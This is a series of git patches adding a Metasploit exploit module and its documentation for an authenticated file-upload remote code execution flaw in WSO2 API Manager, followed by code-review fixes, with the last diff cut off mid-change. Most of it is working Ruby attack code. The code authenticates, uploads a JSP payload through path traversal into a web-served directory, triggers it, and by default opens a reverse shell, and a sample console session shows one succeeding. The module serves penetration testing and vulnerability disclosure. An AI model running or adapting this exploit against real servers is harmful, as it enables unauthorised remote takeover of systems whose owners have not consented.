From 09d84eaabb49839db1177085941dcad01982ae5b Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Thu, 14 Nov 2024 18:34:11 +0100 Subject: [PATCH 01/13] Added module for WSO2 API Manager Documentation File Upload Remote Code Execution Closes #19646 on-behalf-of: @redwaysecurity --- .../http/wso2_api_manager_file_upload_rce.md | 77 ++++ .../http/wso2_api_manager_file_upload_rce.rb | 416 ++++++++++++++++++ 2 files changed, 493 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md create mode 100644 modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb diff --git a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md new file mode 100644 index 000000000000..f658f349ea36 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md @@ -0,0 +1,77 @@ +## Vulnerable Application + +A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions +(`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled +server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server. + +```yaml +services: + api-manager: + image: wso2/wso2am:4.0.0-alpine + container_name: swo2_api_manager + ports: + - "9443:9443" + +``` + +```bash +docker-compose up +``` + + + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use multi/http/wso2_api_manager_file_upload_rce` +1. Do: `set rhosts [ip]` +1. Do: `set lhost [ip]` +1. Do: `run` +1. You should get a shell. + +## Scenarios + +### WSO2 API Manager 4.0.0 +``` +msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit + +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking target... +[+] Authentication successful +[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable. +[+] Authentication successful +[*] Listing APIs... +[+] Document created successfully +[*] Uploading payload... +[+] Payload uploaded successfully +[*] Executing payload... +[+] Payload executed successfully +[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:58206) at 2024-11-03 15:36:37 +0100 + +id +uid=802(wso2carbon) gid=802(wso2) groups=802(wso2) +pwd +/home/wso2carbon/wso2am-4.0.0 +exit +[*] 127.0.0.1 - Command shell session 2 closed. +``` + +## Options + +### USERNAME (required) + +The username to authenticate with. + +### PASSWORD (required) + +The password of the user to authenticate with. + +### RHOSTS (required) + +The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + +### RPORT (required) + +The target port (TCP) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb new file mode 100644 index 000000000000..5609a8a54d10 --- /dev/null +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -0,0 +1,416 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + attr_accessor :bearer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WSO2 API Manager Documentation File Upload Remote Code Execution', + 'Description' => %q{ + A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions + (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled + server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server. + }, + 'Author' => [ + 'Siebene@ <@Siebene7>', # Discovery + 'Heyder Andrade <@HeyderAndrade>', # metasploit module + 'Redway Security ' # Writeup and PoC + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988' ], # PoC + [ 'URL', 'https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html' ], # Writeup + [ 'URL', 'https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/' ] + ], + 'DefaultOptions' => { + 'Payload' => 'java/jsp_shell_reverse_tcp', + 'SSL' => true, + 'RPORT' => 9443 + }, + 'Platform' => %w[linux], + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Targets' => [ + [ + 'Automatic', {} + ], + [ + 'WSO2 API Manager (3.1.0 - 4.0.0)', { + 'min_version' => '3.1.0', + 'max_version' => '4.0.0', + 'api_version' => 'v2' + }, + ], + [ + 'WSO2 API Manager (4.1.0)', { + 'min_version' => '4.1.0', + 'max_version' => '4.1.9', + 'api_version' => 'v3' + } + ], + [ + 'WSO2 API Manager (4.2.0)', { + 'min_version' => '4.2.0', + 'max_version' => '4.2.9', + 'api_version' => 'v4' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-05-31', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 API manager', '/']), + OptString.new('HttpUsername', [true, 'WSO2 API manager username', 'admin']), + OptString.new('HttpPassword', [true, 'WSO2 API manager password', '']) + ] + ) + end + + def check + vprint_status('Checking target...') + + authenticate + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/services', '/Version'), + 'method' => 'GET', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + return Exploit::CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/ + + xml = res.get_xml_document + xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/) + version = Rex::Version.new ::Regexp.last_match(1) + + return CheckCode::Safe('Unable to determine version') unless version + + return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless + version <= Rex::Version.new('4.2.0') || + version <= Rex::Version.new('4.1.0') || + version <= Rex::Version.new('4.0.0') || + version <= Rex::Version.new('3.2.0') || + version <= Rex::Version.new('3.1.0') + + if target.name == 'Automatic' + # Find the target based on the detected version + selected_target_index = nil + targets.each_with_index do |t, idx| + if version.between?(Rex::Version.new(t.opts['min_version']), Rex::Version.new(t.opts['max_version'])) + selected_target_index = idx + break + end + end + + unless selected_target_index + vprint_warning("No matching target found for version #{version}") + return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") + end + + # Set the target + datastore['TARGET'] = selected_target_index + vprint_status("Automatically selected target: #{target.name} for version #{version}") + else + print_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?( + Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version']) + ) + end + + report_vuln( + host: rhost, + name: name, + refs: references, + info: [version] + ) + + return CheckCode::Appears("Detected WSO2 API Manager #{version} which is vulnerable.") + end + + def authenticate + nounce = nil + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + loop_dectector = 0 + + fail_with(Failure::UnexpectedReply, 'Failed to authenticate') unless res + + while res.redirect? + loop_dectector += 1 + res = send_request_cgi( + 'uri' => res.redirection.to_s, + 'method' => 'GET', + 'headers' => { + 'Connection' => 'keep-alive' + }, + 'keep_cookies' => true + ) + if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/) + nounce = ::Regexp.last_match(1) + end + break if nounce + + fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3 + end + + auth_data = { + 'usernameUserInput' => datastore['HttpUsername'], + 'username' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'], + 'sessionDataKey' => nounce + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/commonauth'), + 'method' => 'POST', + 'vars_post' => auth_data + ) + + loop_dectector = 0 + while res.redirect? + loop_dectector += 1 + res = send_request_cgi( + 'uri' => res.redirection.to_s, + 'method' => 'GET', + 'headers' => { + 'Connection' => 'keep-alive' + }, + 'keep_cookies' => true + ) + if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/) + self.bearer = ::Regexp.last_match(1) + end + break if bearer + + fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3 + end + + if bearer + print_good('Authentication successful') + else + fail_with(Failure::UnexpectedReply, 'Authentication attempt failed') + end + end + + def list_api_available + vprint_status('Listing products APIs...') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'), + 'vars_get' => { + 'limit' => 10, + 'offset' => 0 + }, + 'method' => 'GET', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + fail_with(Failure::UnexpectedReply, 'Failed to list APIs') unless res&.code == 200 + + api_list = res.get_json_document['list'] + + if api_list.empty? + print_error('No Proucts API available') + print_status('Trying to create an API...') + api_list = create_product_api + end + + return api_list + end + + def create_api + api_data = { + 'name' => Faker::App.name, + 'description' => Faker::Lorem.sentence, + 'context' => "/#{Faker::Internet.slug}", + 'version' => Faker::App.version, + 'transport' => ['http', 'https'], + 'tags' => [Faker::ProgrammingLanguage.name], + 'policies' => ['Unlimited'], + 'securityScheme' => ['oauth2'], + 'visibility' => 'PUBLIC', + 'businessInformation' => { + 'businessOwner' => Faker::Name.name, + 'businessOwnerEmail' => Faker::Internet.email, + 'technicalOwner' => Faker::Name.name, + 'technicalOwnerEmail' => Faker::Internet.email + }, + 'endpointConfig' => { + 'endpoint_type' => 'http', + 'sandbox_endpoints' => { + 'url' => "https://#{target_uri.host}:9443/am/#{Faker::Internet.slug}/v1/api/" + }, + 'production_endpoints' => { + 'url' => "https://#{target_uri.host}:9443/am/#{Faker::Internet.slug}/v1/api/" + } + }, + 'operations' => [ + { + 'target' => "/#{Faker::Internet.slug}", + 'verb' => 'GET', + 'throttlingPolicy' => 'Unlimited', + 'authType' => 'Application & Application User' + } + ] + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => api_data.to_json + ) + + fail_with(Failure::UnexpectedReply, 'Failed to create API') unless res&.code == 201 + + print_good('API created successfully') + return res.get_json_document + end + + def create_product_api + api_id = create_api['id'] + + product_api_data = { + 'name' => 'test3', + 'context' => 'test3', + 'policies' => ['Unlimited'], + 'apis' => [ + { + 'name' => '', + 'apiId' => api_id, + 'operations' => [], + 'version' => '1.0.0' + } + ], + 'transport' => ['http', 'https'] + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => product_api_data.to_json + ) + + fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201 + + print_good('API Product created successfully') + return res.get_json_document + end + + def create_document(api_id, doc_name) + doc_data = { + 'name' => doc_name, + 'type' => 'HOWTO', + 'summary' => Faker::Lorem.sentence, + 'sourceType' => 'FILE', + 'visibility' => 'API_LEVEL' + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => 'application/json', + 'data' => doc_data.to_json + ) + + fail_with(Failure::UnexpectedReply, 'Failed to create document') unless res&.code == 201 + + print_good('Document created successfully') + + return res.get_json_document['documentId'] + end + + def upload_payload(api_id, doc_id) + print_status('Uploading payload...') + + post_data = Rex::MIME::Message.new + post_data.bound = rand_text_numeric(32) + post_data.add_part(payload.encoded.to_s, 'text/plain', nil, "form-data; name=\"file\"; filename=\"../../../../repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}\"") + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents/', doc_id, '/content'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + }, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + ) + fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201 + + print_good('Payload uploaded successfully') + return res + end + + def execute_payload + print_status('Executing payload... ') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/authenticationendpoint/', jsp_filename), + 'method' => 'GET' + ) + + if res&.code == 200 + print_good('Payload executed successfully') + handler + else + fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') + end + end + + def exploit + doc_name = Rex::Text.rand_text_alpha(4..7) + authenticate unless bearer + api_avaliable = list_api_available + api_avaliable.each do |product_api| + doc_id = create_document(product_api['id'], doc_name) + next unless doc_id + + res = upload_payload(product_api['id'], doc_id) + if res&.code == 201 + execute_payload + break + end + end + # execute_payload + end + + def jsp_filename + @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp" + end + +end From 0f969f1dd647158512f17d032a4b89436795d9fe Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Fri, 15 Nov 2024 11:53:59 +0100 Subject: [PATCH 02/13] Clean-up --- .../http/wso2_api_manager_file_upload_rce.rb | 29 +++++++------------ 1 file changed, 11 insertions(+), 18 deletions(-) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index 5609a8a54d10..c6de4adbcc5c 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -89,27 +89,24 @@ def check authenticate res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/services', '/Version'), + 'uri' => normalize_uri(target_uri.path, 'services', 'Version'), 'method' => 'GET', 'headers' => { 'Authorization' => "Bearer #{bearer}" } ) - return Exploit::CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/ + return CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/ xml = res.get_xml_document xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/) version = Rex::Version.new ::Regexp.last_match(1) - return CheckCode::Safe('Unable to determine version') unless version + return CheckCode::Unknown('Unable to determine version') unless version - return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless - version <= Rex::Version.new('4.2.0') || - version <= Rex::Version.new('4.1.0') || - version <= Rex::Version.new('4.0.0') || - version <= Rex::Version.new('3.2.0') || - version <= Rex::Version.new('3.1.0') + return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?( + Rex::Version.new('3.1.0'), Rex::Version.new('4.2.0') + ) if target.name == 'Automatic' # Find the target based on the detected version @@ -121,10 +118,7 @@ def check end end - unless selected_target_index - vprint_warning("No matching target found for version #{version}") - return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") - end + return CheckCode::Unknown('Unable to automatically select a target. You might need to set the target manually') unless selected_target_index # Set the target datastore['TARGET'] = selected_target_index @@ -214,7 +208,7 @@ def authenticate end end - def list_api_available + def list_product_api vprint_status('Listing products APIs...') res = send_request_cgi( @@ -298,8 +292,8 @@ def create_product_api api_id = create_api['id'] product_api_data = { - 'name' => 'test3', - 'context' => 'test3', + 'name' => Faker::App.name, + 'context' => Faker::Internet.slug, 'policies' => ['Unlimited'], 'apis' => [ { @@ -395,7 +389,7 @@ def execute_payload def exploit doc_name = Rex::Text.rand_text_alpha(4..7) authenticate unless bearer - api_avaliable = list_api_available + api_avaliable = list_product_api api_avaliable.each do |product_api| doc_id = create_document(product_api['id'], doc_name) next unless doc_id @@ -406,7 +400,6 @@ def exploit break end end - # execute_payload end def jsp_filename From e772c7adaa120e94351a5dfa7935a14296c65947 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Fri, 22 Nov 2024 16:56:50 +0100 Subject: [PATCH 03/13] Apply suggestions from code review Co-authored-by: Simon Janusz <85949464+sjanusz-r7@users.noreply.github.com> --- .../multi/http/wso2_api_manager_file_upload_rce.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index c6de4adbcc5c..ce88f46b3715 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -105,7 +105,7 @@ def check return CheckCode::Unknown('Unable to determine version') unless version return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?( - Rex::Version.new('3.1.0'), Rex::Version.new('4.2.0') + Rex::Version.new('3.1.0'), Rex::Version.new('4.2.9') ) if target.name == 'Automatic' @@ -124,7 +124,7 @@ def check datastore['TARGET'] = selected_target_index vprint_status("Automatically selected target: #{target.name} for version #{version}") else - print_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?( + vprint_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?( Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version']) ) end @@ -228,7 +228,7 @@ def list_product_api api_list = res.get_json_document['list'] if api_list.empty? - print_error('No Proucts API available') + print_error('No Products API available') print_status('Trying to create an API...') api_list = create_product_api end @@ -256,7 +256,7 @@ def create_api 'endpointConfig' => { 'endpoint_type' => 'http', 'sandbox_endpoints' => { - 'url' => "https://#{target_uri.host}:9443/am/#{Faker::Internet.slug}/v1/api/" + 'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/" }, 'production_endpoints' => { 'url' => "https://#{target_uri.host}:9443/am/#{Faker::Internet.slug}/v1/api/" From dc445ed1aca8ac136cd371298fa5d50e3be3917d Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Sat, 23 Nov 2024 00:57:08 +0100 Subject: [PATCH 04/13] Apply suggestions from code review --- .../http/wso2_api_manager_file_upload_rce.md | 4 +-- .../http/wso2_api_manager_file_upload_rce.rb | 32 ++++++++----------- 2 files changed, 16 insertions(+), 20 deletions(-) diff --git a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md index f658f349ea36..6c826c9ae3c1 100644 --- a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md +++ b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md @@ -60,11 +60,11 @@ exit ## Options -### USERNAME (required) +### HttpUsername (required) The username to authenticate with. -### PASSWORD (required) +### HttpPassword (required) The password of the user to authenticate with. diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index ce88f46b3715..a75805822952 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -37,7 +37,7 @@ def initialize(info = {}) 'SSL' => true, 'RPORT' => 9443 }, - 'Platform' => %w[linux], + 'Platform' => %w[linux win], 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ @@ -47,7 +47,7 @@ def initialize(info = {}) [ 'WSO2 API Manager (3.1.0 - 4.0.0)', { 'min_version' => '3.1.0', - 'max_version' => '4.0.0', + 'max_version' => '4.0.9', 'api_version' => 'v2' }, ], @@ -201,11 +201,9 @@ def authenticate fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3 end - if bearer - print_good('Authentication successful') - else - fail_with(Failure::UnexpectedReply, 'Authentication attempt failed') - end + fail_with(Failure::UnexpectedReply, 'Authentication attempt failed') unless bearer + + print_good('Authentication successful') end def list_product_api @@ -259,7 +257,7 @@ def create_api 'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/" }, 'production_endpoints' => { - 'url' => "https://#{target_uri.host}:9443/am/#{Faker::Internet.slug}/v1/api/" + 'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/" } }, 'operations' => [ @@ -322,9 +320,9 @@ def create_product_api return res.get_json_document end - def create_document(api_id, doc_name) + def create_document(api_id) doc_data = { - 'name' => doc_name, + 'name' => Rex::Text.rand_text_alpha(4..7), 'type' => 'HOWTO', 'summary' => Faker::Lorem.sentence, 'sourceType' => 'FILE', @@ -378,20 +376,18 @@ def execute_payload 'method' => 'GET' ) - if res&.code == 200 - print_good('Payload executed successfully') - handler - else - fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') - end + fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') unless res&.code == 200 + + print_good('Payload executed successfully') + + handler end def exploit - doc_name = Rex::Text.rand_text_alpha(4..7) authenticate unless bearer api_avaliable = list_product_api api_avaliable.each do |product_api| - doc_id = create_document(product_api['id'], doc_name) + doc_id = create_document(product_api['id']) next unless doc_id res = upload_payload(product_api['id'], doc_id) From c1c74a0959ca2bf12b9a0c94c5f771b50fc77dca Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 26 Nov 2024 11:56:50 +0100 Subject: [PATCH 05/13] Do not fail on document creation Since we attempt to create the document in multiple APIs, we want to avoid exiting on a failed creation attempt. This will allow us to retry the document creation on the next available API. --- .../exploits/multi/http/wso2_api_manager_file_upload_rce.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index a75805822952..8c4d4f541ca3 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -339,7 +339,10 @@ def create_document(api_id) 'data' => doc_data.to_json ) - fail_with(Failure::UnexpectedReply, 'Failed to create document') unless res&.code == 201 + unless res&.code == 201 + vprint_error("Failed to create document for API #{api_id}") + return + end print_good('Document created successfully') From fabced539ddea64a45141b36c209f4fa4d2d2c67 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Wed, 4 Dec 2024 16:44:48 +0100 Subject: [PATCH 06/13] Apply suggestions from code review Co-authored-by: jheysel-r7 --- .../multi/http/wso2_api_manager_file_upload_rce.md | 3 --- .../multi/http/wso2_api_manager_file_upload_rce.rb | 9 ++++++++- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md index 6c826c9ae3c1..19f7136e84a7 100644 --- a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md +++ b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md @@ -17,9 +17,6 @@ services: ```bash docker-compose up ``` - - - ## Verification Steps 1. Install the application diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index 8c4d4f541ca3..8e75c8f47bb4 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck attr_accessor :bearer @@ -87,7 +88,12 @@ def initialize(info = {}) def check vprint_status('Checking target...') - authenticate + begin + authenticate + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return Exploit::CheckCode::Unknown + end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'services', 'Version'), 'method' => 'GET', @@ -368,6 +374,7 @@ def upload_payload(api_id, doc_id) fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201 print_good('Payload uploaded successfully') + register_file_for_cleanup(jsp_filename) return res end From 964261283b34d069c0a5df50d72055896f46fe40 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Wed, 4 Dec 2024 20:05:07 +0100 Subject: [PATCH 07/13] Fix: Handle full-location redirects in `send_request_cgi` - Resolved an issue where redirects with full-location URLs were not properly handled by `send_request_cgi`. - Implemented a quick solution for now; open to suggestions for a more robust approach. - Tested behavior without proxy interference, as Burp previously masked the issue. --- .../multi/http/wso2_api_manager_file_upload_rce.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index 8e75c8f47bb4..af7854996aa6 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -160,19 +160,22 @@ def authenticate while res.redirect? loop_dectector += 1 res = send_request_cgi( - 'uri' => res.redirection.to_s, + 'uri' => "#{res.redirection.path}?#{res.redirection.query}", 'method' => 'GET', 'headers' => { 'Connection' => 'keep-alive' }, 'keep_cookies' => true ) + if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/) + vprint_status('Got session nonce') nounce = ::Regexp.last_match(1) end break if nounce fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3 + end auth_data = { @@ -192,7 +195,7 @@ def authenticate while res.redirect? loop_dectector += 1 res = send_request_cgi( - 'uri' => res.redirection.to_s, + 'uri' => "#{res.redirection.path}?#{res.redirection.query}", 'method' => 'GET', 'headers' => { 'Connection' => 'keep-alive' From d5f0c6108c7fd22689c2a9f082d27cba68db59bf Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Thu, 5 Dec 2024 14:34:20 +0100 Subject: [PATCH 08/13] Fix: Ensure api_list returns a list even when created during execution --- .../multi/http/wso2_api_manager_file_upload_rce.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index af7854996aa6..29788af4c790 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -146,17 +146,18 @@ def check end def authenticate - nounce = nil + vprint_status('Authenticating...') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'), 'method' => 'GET', 'keep_cookies' => true ) - loop_dectector = 0 - fail_with(Failure::UnexpectedReply, 'Failed to authenticate') unless res + nounce = nil + loop_dectector = 0 + while res.redirect? loop_dectector += 1 res = send_request_cgi( @@ -237,7 +238,7 @@ def list_product_api if api_list.empty? print_error('No Products API available') print_status('Trying to create an API...') - api_list = create_product_api + api_list = [create_product_api] end return api_list @@ -326,6 +327,7 @@ def create_product_api fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201 print_good('API Product created successfully') + return res.get_json_document end From 7c9bddc6e6acecb5b448ab1ddbbe9f85a5b50eff Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 6 Dec 2024 06:20:46 -0800 Subject: [PATCH 09/13] Added use of send_request_cgi! --- .../http/wso2_api_manager_file_upload_rce.rb | 69 +++++++------------ 1 file changed, 23 insertions(+), 46 deletions(-) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index af7854996aa6..1fcb0b137a40 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -147,37 +147,24 @@ def check def authenticate nounce = nil - res = send_request_cgi( + + opts = { 'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'), 'method' => 'GET', + 'headers' => { + 'Connection' => 'keep-alive' + }, 'keep_cookies' => true - ) - - loop_dectector = 0 - - fail_with(Failure::UnexpectedReply, 'Failed to authenticate') unless res - - while res.redirect? - loop_dectector += 1 - res = send_request_cgi( - 'uri' => "#{res.redirection.path}?#{res.redirection.query}", - 'method' => 'GET', - 'headers' => { - 'Connection' => 'keep-alive' - }, - 'keep_cookies' => true - ) - - if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/) - vprint_status('Got session nonce') - nounce = ::Regexp.last_match(1) - end - break if nounce - - fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3 + } + res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth + if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/) + vprint_status('Got session nonce') + nounce = ::Regexp.last_match(1) end + fail_with(Failure::UnexpectedReply, 'Failed to authenticate') unless nounce + auth_data = { 'usernameUserInput' => datastore['HttpUsername'], 'username' => datastore['HttpUsername'], @@ -185,29 +172,19 @@ def authenticate 'sessionDataKey' => nounce } - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/commonauth'), - 'method' => 'POST', - 'vars_post' => auth_data - ) + opts = { 'uri' => normalize_uri(target_uri.path, '/commonauth'), + 'method' => 'POST', + 'headers' => { + 'Connection' => 'keep-alive' + }, + 'keep_cookies' => true, + 'vars_post' => auth_data + } - loop_dectector = 0 - while res.redirect? - loop_dectector += 1 - res = send_request_cgi( - 'uri' => 